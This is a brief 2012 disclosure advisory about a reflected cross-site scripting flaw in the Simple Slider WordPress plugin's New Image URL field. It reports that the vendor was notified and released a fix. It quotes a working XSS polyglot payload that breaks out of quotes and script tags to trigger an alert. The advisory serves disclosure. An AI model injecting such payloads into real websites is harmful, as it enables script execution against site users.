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Exploit Title : Simple Slider Plugin Cross-Site Scripting Vulnerabilities
Author: Aditya Balapure
home: http://adityabalapure.blogspot.in/
Date: 21/11/12
version: 1.0
software link: http://wordpress.org/extend/plugins/simple-slider

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Simple Slider plugin description

Simple Slider Plugin for WordPress allows creation and management of simple image slideshows

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XSS location

The simple Slider Plugin in Wordpress  http://wordpress.org/extend/plugins/simple-slider/  has a Reflective XSS vulnerability in the New Image URL field.

Script Used-    
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

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Vendor Notification

21/11/2012 to: -The vendor was notified and an updated version was released by the vendor.

http://wordpress.org/extend/plugins/simple-slider/changelog/